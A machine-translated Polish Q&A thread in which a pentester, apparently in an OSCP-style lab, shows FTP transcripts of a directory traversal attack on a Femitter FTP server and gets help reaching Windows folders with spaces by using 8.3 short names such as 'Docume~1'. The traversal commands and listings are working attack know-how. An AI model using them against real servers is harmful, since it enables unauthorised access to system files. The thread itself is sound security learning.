Atak przejścia katalogu FTP na katalogi zawierające białe spacje

15

Prowadzę usankcjonowany pentest w zamkniętym środowisku odniesienia i zmagam się z pozornie prostą kwestią, której obecnie nie mogę rozwiązać.

Podczas próby wykonania ataku przechodzenia przez katalog na podatny na atak serwer Fermitter FTP działający w systemie MS Windows OS, można wykonać LISTĘ w katalogu głównym systemu (adresy i listy zawartości zmieniono tutaj tylko w celach informacyjnych):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Jednak jeśli chcę wyświetlić zawartość folderu zawierającego białe spacje, takie jak Documents and settings, nie jestem w stanie wyświetlić zawartości katalogu z powodu ignorowania białych spacji.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Próbowałem już używać różnych klientów FTP (CLI i GUI, w systemach Linux i Windows) i albo ignorują białe znaki, albo nie zezwalają na przechodzenie do katalogu.

Próbowałem także wykonać skrypt na atak na Python, używając najpierw surowych gniazd, a następnie ftplib, aby wysłać polecenia w formacie HEX bezpośrednio na serwer FTP, ale bez powodzenia.

Googling przez kilka godzin nie dał działającego rozwiązania (tak, było wiele opcji, które nie działały), dlatego jest tu ktoś, kto miał ten sam problem. Jestem całkiem pewien, że nie jest to pierwszy raz, gdy takie przejście do katalogu jest potrzebne z białymi spacjami.

lokaut
źródło
Rozróżnianie wielkości liter wydaje się być nieistotne dla klientów FTP. Przynajmniej klient FTP GNU / Linux wyświetla katalogi ignorując wielkość liter.
@lockout: rozróżnianie wielkości liter jest kwestią po stronie serwera, a nie klientem. Klienci wyświetlają dane w ten sam sposób, w jaki serwer je wysyła i nie zmienia wielkości liter.
Steffen Ullrich
1
Spróbuj także C: \ Docume ~ 1 \.
Pies zjada świat kotów
1
Spróbuj uciec ze spacji \lub zacytować ciąg katalogowy
DavidPostill
1
Cieszę się, że to zadziałało dla ciebie @lockout. Skoro już przeszedłeś trud odpowiedzi na swoje pytanie, to jest dla mnie w porządku, że akceptujesz je jako odpowiedź. Dziękuję za uznanie mnie.
Pies zjada świat kotów

Odpowiedzi:

16

Rozwiązanie sugerowane przez @Dogeatcatworld do użycia krótkiej notacji katalogu MS Windows, takiej jak C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Naprawdę dobry artykuł z bazy wiedzy MS Knowledge Base wyjaśnia notację katalogu 8.3: Jak Windows generuje nazwy plików 8.3 z długich nazw plików

lokaut
źródło
2
OSCP Widzę. Aby dodać do końcówki, w przypadku krótkich katalogów, takich jak „Wszyscy użytkownicy”, upuść miejsce i użyj „AllUse ~ 1”. Czy znalazłeś sposób na zamontowanie FTP w celu interaktywnego przeglądania, czy właśnie pobierałeś pliki jeden po drugim.
n00b
1

„Skrócona nazwa” jest tak naprawdę starą konwencją nazewnictwa DOS 8.3, więc wszystkie katalogi będą pierwszymi 6 literami, po których następuje ~ 1, zakładając, że istnieje tylko jedna nazwa pasująca, na przykład:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG JESTEM DIRECTORY
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Inny katalog

Oto jedyny wyjątek:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG JESTEM DIRECTORY
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Katalog również

Źródło: Jak znaleźć krótką ścieżkę do katalogu / pliku Windows?

madsport
źródło
0

Ftp nie używa kodowania adresu URL, więc% xx nie będzie działać, chyba że używasz ftp w przeglądarce, która może go przetłumaczyć.

Zamiast tego spróbuj zastosować wokół niego cudzysłowy, np .: ls „../../some dir”

wireghoul
źródło
1
HI, jeśli spojrzysz na próby przeszukiwania katalogu, zobaczysz, że próbowałem wielu cytatów: pojedynczy cytat, podwójny cudzysłów i tyknięcie wstecz. Nie działały, jak pokazano na liście wyników FTP. Używanie% 20 było po prostu eksperymentowaniem, jeśli to zadziała, z powodu desperackich prób wypróbowania wszystkich opcji. Oczywiście kodowanie% działa w przeglądarkach i klientach FTP, które potrafią je interpretować.
blokada